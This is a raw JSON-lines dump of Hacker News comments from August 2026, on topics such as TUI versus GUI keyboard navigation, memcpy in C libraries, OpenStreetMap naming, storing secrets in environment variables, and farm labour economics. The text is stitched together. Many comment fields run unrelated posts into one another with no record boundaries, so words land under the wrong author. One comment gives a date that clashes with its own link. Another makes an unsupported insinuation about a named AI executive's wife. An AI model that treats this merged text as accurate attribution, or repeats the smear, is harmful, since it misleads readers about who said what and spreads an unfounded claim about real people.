"retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "How do we know this?", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49481984"} {"by": "masklinn", "comments": 0, "created_at_utc": "2026-08-28T17:42:04Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49481985", "item_id": 49481985, "kids": [], "parent": 49481506, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Musl's allocator being awful is pretty well known, though mostly in that it's absolutely awful in multithreaded context.

What it does is highlight the inadequacies of keyboard navigation in many GUI applications.
Something to consider is a terminal that has keyboard navigation of its own. Through a terminal shortcut, I can move the cursor at will and copy any text at all, even if it's part of the interface of a TUI. If I want to copy the filepath of the file I'm working on in vim to then use in a shell, for example, it takes like 5 keys to copy it straight off vim's statusbar. A graphical text editor can display the filepath in a tab or something, but I can't copy the text off the tab.
I don't know if I'm alone in this, but it's very frustrating to want a piece text, see it in front of you, and you can't copy it because the developer for one reason or another didn't implement copying of that text, so you have to type it out even if it's right there.
Sometimes it seems on purpose too. For example, when a game on Steam gets updated terms of use, you get presented with a window showing the terms, but you can't copy them to save them. It's like the purpose is to just accept and forget the terms. A TUI can't prevent the user from copying text by its very nature.
Any terminal can implement this kind of arbitrary-text keyboard navigation on its own and have it work for all TUIs. Were e.g. GTK to implement something like this, it would only work for GTK apps, not for all GUI apps. This is exclusive of TUIs because TUIs are text-driven while GUIs are pixel-driven.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482014"} {"by": "JoshTriplett", "comments": 0, "created_at_utc": "2026-08-28T17:44:14Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482015", "item_id": 49482015, "kids": [49483028, 49482757], "parent": 49480308, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482015"} {"by": "burnt-resistor", "comments": 0, "created_at_utc": "2026-08-28T17:44:19Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482016", "item_id": 49482016, "kids": [], "parent": 49476377, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "New England and UK will get colder, that's all the models say about AMOC's current weakening and shutdown.

Once you paint the figurine there’s no way to tell if it came from a store or from an at-home 3D printer.
I imagine Wizards may ban such things from official events and tournaments (if those are even a thing).

The AI implication is fascinating though. We tend to build systems where the language model is simultaneously the language interface, memory, planner, reasoner and controller. Human cognition may be pointing in the opposite architectural direction: separate persistent state, reasoning/control mechanisms and language, then let language be one tool among several.
That distinction seems more interesting to me than simply asking whether LLMs “reason in language.”", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482063"} {"by": "recursive", "comments": 0, "created_at_utc": "2026-08-28T17:48:28Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482064", "item_id": 49482064, "kids": [], "parent": 49481174, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The car rental desk at airports is one of the worst customer experiences I've ever seen.

What do you mean with 'Japanese OSM maps'? There is just one OpenStreetMap, which includes Japan.
On OpenStreetMap all entities which are named have at the very least the tag `name`. There is no need to specify which language that name is in, because this is geographically determined. For the whole of Japan, `name`-tags are considered to be in Japanese.
This specific bicycle parking has no other names but that one `name` tag, which is the Japanese 上野駅公園口自転車駐車場:
https://www.openstreetmap.org/node/3395310504
This is totally normal. Most named entities only have a local name. A random bicycle parking is not likely to have a name in any other language but the local one. For things which actually have an exonym (like countries and larger cities), you will find additional namespaced language tags like `name:ja` and `name:en`, but a bicycle parking in Japan usually doesn't have an English name (although you can translate the Japanese name).
As for why you are seeing Chinese, that has nothing to do with OpenStreetMap.

If you're paying Anthropic or OpenAI to use their models, harness, governance, etc., I could see the local inference potentially coming out ahead.

If you're looking to get into the guts of AI development instead of having it handed to you by a provider, that's where it gets murky.

I like the idea of not having to trust the router, so I took some time out of my day to critique your website: https://files.catbox.moe/v68cf7.png
My visit to your website went like this:
1. Visit models page
2. Try to find GLM-5.3-Flash (which is among the ~5 models that 90% of people currently care about)
3. Give up scrolling (which would have taken OVER 50 SCROLLS!!!) and use Ctrl + F
4. Try to find input/output/cached price
5. Scroll all the way up to find out which column is what
6. Notice that output price is cut off
7. Notice that the scroll bar is over 100 scrolls further down the page
8. Use Shift + Wheel to scroll horizontally (most visitors probably won't know this trick)
9. Notice that cached price is missing
10. Conclude that this is probably not a serious offering and bounce
There are probably more issues later on, but this is how far I got.
I would suggest you to:
- Deslopify all pages that a user may visit before conversion
- List important models first (see OpenRouter rankings)
- Move the most important information (model name/input/output/cached price) to the left
- Disaggregate the prices per provider (maybe subtables per model? not sure)
- Measure cache hit rate and compute effective price per provider (see OpenRouter)

The hard part is, there seems to exist no UI & UX design language I can follow to create a nice keyboard-first app, so I have to think through everything (which is fun but tiring).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482154"} {"by": "timchosen", "comments": 0, "created_at_utc": "2026-08-28T17:55:46Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482155", "item_id": 49482155, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49482155"} {"by": "tough", "comments": 0, "created_at_utc": "2026-08-28T17:55:49Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482156", "item_id": 49482156, "kids": [], "parent": 49481811, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "holy shit that sounds like a nightmar-ish work environment", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482156"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T17:55:53Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49482157", "item_id": 49482157, "kids": [], "parent": 49479172, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482157"} {"by": "hexator", "comments": 0, "created_at_utc": "2026-08-28T17:55:59Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482158", "item_id": 49482158, "kids": [], "parent": 49479407, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Having "pro-PKK views" (or for other groups designated as terrorists for that matter) is not against the law in the US as that is a first amendment right (as long as that speech is not support).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482158"} {"by": "UltraSane", "comments": 0, "created_at_utc": "2026-08-28T17:56:00Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482159", "item_id": 49482159, "kids": [], "parent": 49470264, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "In a documentary about them putting Dwarf Fortress on Steam Tarn talked about how he had to split the $7 million first payment from Steam with his brother and it turned out the easiest way was to just use the bank app.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482159"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T17:56:01Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49482160", "item_id": 49482160, "kids": [], "parent": 49481149, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482160"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T17:56:05Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49482161", "item_id": 49482161, "kids": [], "parent": 49481243, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482161"} {"by": "Rygian", "comments": 0, "created_at_utc": "2026-08-28T17:56:06Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482162", "item_id": 49482162, "kids": [49482339], "parent": 49481812, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Top of my head:

Anyways, one thing to point out is the "constraints". Constraints are something you cannot change (and AI should abide to it).
I liked the fact that the author used "add" or "remove", and not used "modify/update" because constraints should be added or removed only unlike non-functional requirements, which can be modified.

To paraphrase various commenters: TUIs should be preferred because they are keyboard-driven.
Yes. One problem with this argument in particular is that every TUI reinvents the wheel and designs its own schema.
To reinforce author's point, classic GUI frameworks and their guidelines actually provide hotkey schemas for common actions by default, and hot paths for quick interface traversal. They're universal and work by default, so in a lot of cases you don't even need to think about it, only extend it with your own actions. Absolutely nothing prevents you from doing the same in a TUI framework, but at this point the supposed simplicity and flexibility is lost.
New GUIs have other innovations, see for example Microsoft Ribbon that adopted link navigation from Vimperator to make classic toolbars discoverable, compact, accessible from the keyboard, and customizable - all at the same time! Unthinkable for any other UI paradigm.
It's incredible that after the Electron devastation era this unification and keyboard accessibility feels like some kind of lost art, and the perceived lack of keyboard driven GUIs is used a strawman to criticize GUI as a principle. Status quo of "most apps do X" is not the principle. It's also not true, essentially all good GUI apps are keyboard driven, and surely most professional/heavy user ones.
Design good interfaces, not bad ones, regardless of the paradigm. This is harder than it seems, and TUI is not a automatic substitute for your lack of this skill. If you think it is you will design a bad app, in the same way pixel art looks hideous when used to compensate for game designer's laziness. In fact, a lot of recent TUI apps I see are pure terminal cargo cult and are simply worse by being TUIs.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482211"} {"by": "eqvinox", "comments": 0, "created_at_utc": "2026-08-28T17:59:10Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482212", "item_id": 49482212, "kids": [], "parent": 49482011, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "(already edited in)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482212"} {"by": "Vishal_Max", "comments": 0, "created_at_utc": "2026-08-28T17:59:20Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482213", "item_id": 49482213, "kids": [], "parent": 49481689, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Thanks for sharing this, mate.

But c-libraries can actually do it better in many cases, especially for large copies.
Glibc, for example, has perhaps ten different implementations of memcpy just for x86. The compiler certainly could provide all that, but the next step is harder:
glibc automatically dispatches to the proper one at runtime based on the actual microarchitecture that the binary is running on. You pay the extra dispatch cost once, but all of non-inline function call cost every time. This is what allows distros to compile to a nice baseline architecture, but still get near-optimal memcpy performance on many more architectures than a single inline instance could possibly give. These differences matter.
And it does it for not just memcpy, but half-a-dozen other extremely performance sensitive library functions, like strcpy and so on.
Inlining works very much against this strategy. If you can guarantee that the target microarch never changes, then it isn't a good one. But that is somewhat unusual for everyone but those who build their own binaries to run on a single class of machines forever.
Worse, inlining the really high performance versions of these ends up being terrible from a code size perspective, because they are often hundreds of instructions, which can have bad caching effects. And once you amortize the function-call cost over many iterations of the loop, it isn't so expensive to call out to the library.

Your resource mostly describes how to make keyboard-based workflows accessible.

If in the future most Americans do end up saying 'Lake America', `name` could follow that too, and Lake Ontario would end up in `alt_name`.
Or perhaps Americans from the White House to the New York Times to the school curriculum will call it Lake America, but Canadians will stick with Lake Ontario. In that case the top-level local language `name` might end up as 'Lake America/Ontario' (combining all local languages and variants) and `name:en` (English in general, so America would be a minority there) and `name:en-CA` would say Lake Ontario, and `name:en-US` would say Lake America.

>our capacity to capture and "upgrade" slow photons is already improving\nHow about "Sisyphus Sphere?" :)
If not inescapable, then anyone can trivially use that same trick to make infinite energy in their garage, so if you can upgrade photons for free then you have no need to build a Dyson sphere anyway.
>a technological civilisation that considers a star as a convienient fusion energy source is wildly unlikly to have missed any possible way to control, direct, store and transmit energy or matter that physics will allow for\nIt's still possible they tried all those, and leeching off a convenient pre-existing natural fusor (with no build or repair expenses, for that subsystem at least) is simply the cheapest option.
I can already hear the obvious reply: "But who cares!! If they're so advanced who cares about money??"
Even (especially?) for an advanced technological civilization, you still want to choose the cheaper of two options, because some resource will always be limiting. You don't get highly advanced by making dumb decisions. ;)

"Food must be of sufficient nutritional value and provide a minimum of 1,800 to 2,000 calories for adults"
Which is one of the worst written statutes I've ever seen. How do you have a range for a minimum? Of course, the jails aim for the lower end, which in theory should be sufficient for a sedentary population, but protein is highly expensive and most of those calories are cheap carbs which don't satiate the prisoners.
Also, the Jail Standards are not enforceable by the courts as Illinois courts can only enforce laws which have a punishment for non-compliance and are therefore deemed mandatory. Otherwise they are just directory. People see the word "shall" in statutes and assume that government officials must comply, but that is not the case in many states.[2]
Food for prisoners is really back-stopped by the 8th and 14th Amendments and their requirement is simply that you don't die of malnutrition.

i actually read "expensive consumer goods for their populations" and concluded "cheap labor", as i pointed out. suppose you ask citizens from nation A and nation B how many hours they'd have to work to be able to buy a certain good. if both answer the same number, then how can you say that the good is more expensive in any one of the nations? and if citizen from nation A answers a larger number than citizen from nation B, so that the good is more expensive in nation A, then how does A not have cheaper labor than B, as one unit of the same good literally buys your more labor from A than from B?
i'm still digesting your apple example.
i'd be interested if you could cite a real case of this happening, because it doesn't agree with everything that i have seen. for example, sometimes the apple business in BA will simply die. this is what i was getting at when i mentioned that "underdeveloped countries are still net importers of complex goods". if you take a mildly complex good like refrigerators or office chairs, chances are that a random not-so-developed country has some local manufacturers. but they're just struggling, not exporting proportionally larger quantities. indeed the only way they'd export K>1 refrigerators for every Samsung imported is if there were 0 exports and 0 imports (so the country is so poor no one has a good refrigerator).
also, suppose that BA produces a total of N apples per year per capita. if the people in GA work the same hours, then GA produces the same number, N, of apples per year per capita, because they are both equally good at picking apples. since trade is balanced, it does not affect the level of value/utility/wealth on each side, whatever the amount of trade. so in the end, for the same hours worked, BA has a total product of N bad apples per year per capita, which is 10 times less than GA, which has a total product of N good apples per year per capita. people in BA are poorer.
assuming people in this economy just buy/sell work and apples, the people in BA must work for less value, i.e. they are cheaper labor. if labor in BA is more or less than 10x cheaper than in GA, then apple orchards will simply close in BA and reopen in GA or vice-versa until it gets 10x cheaper, at which point there's no point in switching. this is moreover compatible with the real anecdotal examples i mentioned i have seen.

Also, fwiw the easy bot is not very easy. It mostly feels to me like the hard bot but it makes more mistakes.
I'd say general overall strategy is to try to create "bubbles". You want to surround areas with your stones rather than filling them in.
On the small board, it's pretty hard to go wrong with just making a line of solidly connected stones (make sure the colored line shows up between them) between two edges of the board. This might not let you win against the bot, but will at least help you claim territory. Then once you have figured out how to do that, you can start to think about making moves that block the bot from surrounding area, or reduce the amount of area available to it, etc.

Been experimenting with self-learning (And if you don't like me calling it self-learning, mentally replace it with doing the raspberry) LLMs, and the biggest takeaway I've taken?
Things like governance, observability, and auditability are pretty poor right now. This is just my take on how to improve things.
Also, and surprisingly? The most valuable thing I've seen with my experimentation is failures. Not success. Failures generalize, successes don't. A large amount of tasks can get generalized information for failures, but only specific tasks can get information from successes.

One can download games and mods from ContentDB (or directly from Luanti itself); ContentDB administrators are looking closely at the content users submit, from experience they will refuse your submission if everything is not properly licensed, even when the asserts are obviously FOSS (creators often include each other's stuff). They even were cautious about generative AI because the copyright assignment was unclear for them. They also have a DMCA page [1].
Long story short, Luanti is a respectable platform. They respect copyright and licensing (even for FOSS code and assets, unlike some private organizations). They also organize game jams and promote original content.

Another idea I recently had was extending Karakeep (https://github.com/karakeep-app/), which has robust archiving capabilities today, to enable announcing archived URLs via a DHT and serving the archive bundle as a torrent (similar to how the Internet Archive creates a torrent file for each item). With some work, it would be the equivalent of a distributed Wayback Machine, with each instance able to act as both scraper and server. With a browser extension that could query this DHT, you could retrieve an archived version of any URL that has been archived by cherry picking from the swarm (each URL becomes a magnet torrent URL, very similar to IPFS, but with less bootstrapping required imho).

So I am experimenting with a tool that basically gives you Terraform-style management for agents.

Everything lives on your browser including the chat. The only thing sent over the wire is the encrypted chat messages e2e. Here's an architectural diagram: https://github.com/agentify-sh/chat/blob/main/diagram.png
Another feature it has is ability to publish your chat session with redaction (ex. https://chat.agentify.sh/#share=chat_cc62055bfc854537baf10d0...) so you can share with your team.
Curious to gather any feedback I can, if this is something I should continue to pursue etc.
Also if by chance you are in Seattle today, I'll be also at the Walk & Talk event at Bellevue Downtown Park today at 2:30pm, would love to chat in person!

Rory Carroll, Latin America correspondent\nMon 20 Oct 2008 19.01 EDT
Thieves in Jamaica have embarrassed police and triggered a political row by stealing a beach - and making a clean getaway.
Hundreds of tonnes of white sand vanished from a planned resort on the island's north coast in July but three months later there is no sign of suspects nor sand.
An estimated 500 truck-loads of sand were removed from the Coral Spring beach in Trelawny and were believed to have been sold to rival resorts, a hefty logistical feat which has stumped police.
"It's a very complex investigation because it involves so many aspects," Mark Shields, the deputy commissioner for crime at the Jamaica Constabulary Force, told the BBC.

A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482470"} {"by": "Colrows", "comments": 0, "created_at_utc": "2026-08-28T18:19:20Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482471", "item_id": 49482471, "kids": [49482472], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "Show HN: Colrows – Compile natural language to governed SQL instead of guessing", "type": "story", "url": "https://colrows.com/"} {"by": "Colrows", "comments": 0, "created_at_utc": "2026-08-28T18:19:20Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482472", "item_id": 49482472, "kids": [], "parent": 49482471, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482472"} {"by": "rikulauttia", "comments": 0, "created_at_utc": "2026-08-28T18:19:38Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482473", "item_id": 49482473, "kids": [], "parent": 49482469, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482473"} {"by": "burnt-resistor", "comments": 0, "created_at_utc": "2026-08-28T18:19:47Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482474", "item_id": 49482474, "kids": [], "parent": 49481922, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": ""Rubber Stamp Incompetent Loyalists Agency" was taken.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482474"} {"by": "sloaken", "comments": 0, "created_at_utc": "2026-08-28T18:19:58Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482475", "item_id": 49482475, "kids": [], "parent": 49478808, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I agree, all those details are needed as well as volume of printing.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482475"} {"by": "giov4", "comments": 0, "created_at_utc": "2026-08-28T18:19:58Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482476", "item_id": 49482476, "kids": [], "parent": 49482416, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I mean just even from the titles mentioned in the article:

Funny but I struggle with copying anything in most recent TUIs. Fancy padding or multiplexer borders and multiple lines of text? It breaks. Incomplete text in a spreadsheet column (tabiew) or a narrow internal window? It breaks. Ohmypi literally has a separate command to copy the prompt because of that, and another command to copy the model reply. TUI is just a poor choice here, it doesn't play well with formatted text like markdown, UI controls, long text, and so on. Terminals are good for CLI where the text is presented as lines, not TUI with spaced layout.
>Any terminal can implement this kind of arbitrary-text keyboard navigation on its own and have it work for all TUIs. Were e.g. GTK to implement something like this, it would only work for GTK apps, not for all GUI apps. This is exclusive of TUIs because TUIs are text-driven while GUIs are pixel-driven.
Terminal navigation has nothing to do with TUI navigation. Most TUI apps suffer from terrible NIH and end up with their own homegrown incompatible keyboard navigation schemas you need to learn every time. Of course absolutely nothing prevents you from writing a TUI framework with a common schema, at which point you will be at the mercy of the dev using this or that framework and schema, same as with GTK and Qt.

Agents choose their own research directions, conduct experiments, collaborate, and build a shared scientific literature. Across 12 construction problems from the AlphaEvolve catalogue and two additional case studies, the Station obtained results novel relative to the prior literature on five problems: a new infinite family of finite-field Kakeya sets, new exact 604-point kissing configurations in dimension 11, new records for the discretized Kakeya needle and sign uncertainty problems, and a substantially improved lower bound for Erdős's minimum-overlap problem. Agents also discovered novel infinite families for Book Ramsey numbers. Importantly, the agents produced not only numerical constructions but also theorems and analyses explaining how those constructions work, making the results more interpretable and easier for mathematicians to build upon. We release all raw agent dialogues, proofs, and verification code, providing a transparent record of how these discoveries emerged.

That doesn't make much sense to me. It would be more profitable to sell gasoline without lead tetraethyl because you wouldn't be forced to buy a patented product. Just pour a shot of pure grain spirit in your tank on every refill (or however much is needed).
It's more plausible that engine technology today has improved to the point that ethanol alone can eliminate knocking.
The link you provided gives more context.

The Washington Post reported on a trend of shows about counter-terrorism and spies, on August 4 2011: https://www.washingtonpost.com/archive/lifestyle/2001/08/04/...
That article mentions that some of those shows relied on government consultation, with the CIA and FBI, to help with realism, etc. “24” was not one of them. “24” co-creator Joel Surnow is on record saying there was no government involvement.

For literally decades after they were state of the art, people who used old-school mainframe TUIs would still swear by them.
I think the key difference is that they would buffer inputs. You could be on the "Receipt" screen, and know that if you needed to enter the code for some rebate receipt or something, you could hit F6 - F2 - down - down - down - {start typing code}, and even if the UI took multiple seconds to actually get to the point that the code was being entered, the input would be kept.
Normal GUIs have discarded this for fairly good reasons. Especially when it comes to queuing mouse clicks. If you get down to the nitty-gritty of what it means to queue a "mouse click" it get very conceptually complicated. But you could create a GUI toolkit that still had the same idea integrated into it for a keyboard interface, if you have well-defined points where you are and are not accepting keyboard input.
I would submit that "keyboard-driven UI that is as intuitive as clicking with a mouse" is actually the wrong direction to cut on. You need to beat the conventional mouse GUI completely in some other dimension, one where it can't even compete. This is the only one I know of that has historical precedent.
The downside is that on a desktop I'm pretty sure you're looking at a completely new widget toolkit. Trying to force this on the current ones is going to be hard and could even be impossible.
If I were going to create a new web frontend framework, this is what I'd focus on to have an actual new feature that isn't just a respelling of the current set of features. And I can't guarantee that it won't also be missing something crucial, though, I think everything you need is actually there. You could even have modern nicities like, store the entire GUI field state transition diagram statically at the beginning and as the user types ahead of the GUI's current state, show them a rendered view of where they are going, e.g., the key sequence I showed above could be "[Rebates] -> [Rebate Receipt] -> [Name Field] -> [Address 1 Field] -> [Address 2 Field] -> [Rebate Code Field] -> [Entering {'A8F2-132A-9283'}]", live updating as it goes so if the user can just bang that out even while the first screen hasn't loaded they can even be sensibly editing the text input they're going to put in.
Combined with something as simple as making sure everything always has a keyboard shortcut in a defined format, which is conspicuously displayed every time you change something, e.g., every time the user clicks the Rebate Code Field you can also display something like "Ctrl-F R" or something so they also learn how to drive the screen with a keyboard and you would, if nothing else, have something different than what's out there today.
Anyone who wants to, steal this idea. I'm not going to do anything with it. I don't see this as something you want in every app necessarily, but people who spend hours a day in the same app for whatever reason would be confused for a week, then I bet you couldn't pry it from them with a crowbar.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482709"} {"by": "a2ff6eeb0", "comments": 0, "created_at_utc": "2026-08-28T18:42:23Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482710", "item_id": 49482710, "kids": [], "parent": 49482441, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "That's basically the approach Anthropic takes.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482710"} {"by": "hdfjkfgkkg", "comments": 0, "created_at_utc": "2026-08-28T18:42:23Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482711", "item_id": 49482711, "kids": [49483161], "parent": 49481363, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Amodeis wife was tight with JE, all of this Chinese bs is gonna get banned whether blue or red are in power.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482711"} {"by": "chakintosh", "comments": 0, "created_at_utc": "2026-08-28T18:42:23Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482712", "item_id": 49482712, "kids": [], "parent": 49479898, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "That absolute worst combination of factors that could combine in this disaster did indeed combine.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482712"} {"by": "the_af", "comments": 0, "created_at_utc": "2026-08-28T18:42:24Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482713", "item_id": 49482713, "kids": [], "parent": 49481947, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Oh, I don't think pigeons spread disease.

If OpenAI manages to make something much better than Nvidia hardware, Nvidia's sales will go down as the value of OpenAI goes (way) up. If OpenAI fails to make something as good as Nvidia hardware, they buy Nvidia hardware.

Whenever you think a solution to a problem that plagues an entire nation (especially one the size of the US) is "trivial", you should ask the question: if it's so trivial, why hasn't it been fixed after so many years? And if your answer depends on some sort of conspiracy, you know you're wrong.
There are so many problems with "pay more". Let's start with a simple one: it's based on the assumption that the employer's only alternative to paying more is going without the output. In a lot of labor markets, this just isn't the case.
Jobs get mechanized/automated. They get outsourced to a different country. The employer reduces output (reduces staff) and in many cases at the same time increases prices. Sometimes, as has been seen with restaurants and retail, hours get cut or they go out of business.
Another problem with your "solution" is that in many markets, especially those related to healthcare, it's not just pay that limits hiring. It's things like caps on residency slots due to Medicare funding, a lack of clinical placements, a lack of faculty, etc. You can't pay more to hire workers that don't exist because the market structure doesn't allow for those workers to exist in the needed numbers.
> If companies can't find a farm laborer at 100k/yr then that sounds like it's an incredible situation for the average worker.
Except this experiment has been tried. Look up the Bracero program, which was terminated in the 1960s to increase wages for domestic farmworkers. I'll give you a hint: a study comparing states heavily exposed to bracero labor against states that used little found basically no wage or employment gain for domestic farmworkers.
The farm doesn't survive with a bunch of recent university grads who studied CompSci picking fruit at $100,000/year. The farm mechanizes, where possible, and switches to crops that require less labor. And the market fills the demand for the crops that were switched out with imports.
And let's also be honest: the average 20-something native-born American doesn't want to pick fruit in 100+ degree heat in dusty small farming towns where there's nothing to do, the male-to-female ratios are out of whack, etc. This too has been tried: UFW ran a "Take Our Jobs" campaign about a decade ago and...wait for it...literally nobody wanted to.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482731"} {"by": "tptacek", "comments": 0, "created_at_utc": "2026-08-28T18:44:03Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482732", "item_id": 49482732, "kids": [], "parent": 49481247, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "It's not a secret store.

My response would be the incorrect application amongst the OSM community of sweat-of-the-brow doctrine in copyright law within jurisdictions it very clearly doesn't apply.[2][3]
I hazard a guess some of this incorrect application comes from large companies becoming involved in OSM, and they've signed unrelated enterprise agreements with the likes of Google, or whoever. Within those agreements there may be private agreements that the companies cannot redistribute data of Google (or whoever) without explicit permission. The companies contributing to OSM don't want to have to navigate this problem when they contribute to OSM and would prefer OSM incorrectly applies sweat-of-the-brow doctrine to exclude any non-copyrightable but otherwise "problematic" data (to themselves only) that the likes of Google could possibly argue were obtained through their enterprise agreement.
I also hazard a guess there are numerous OSM community members that strongly hold copy-left views of their contributions. They want/need the sweat-of-the-brow doctrine to be able to control consumers of OSM data (not necessarily just rendered tile maps) as in the example of [5]. In this example, someone complains that a third party brand extracted 100k+ water tap coordinates from OSM and added them to Google Maps.
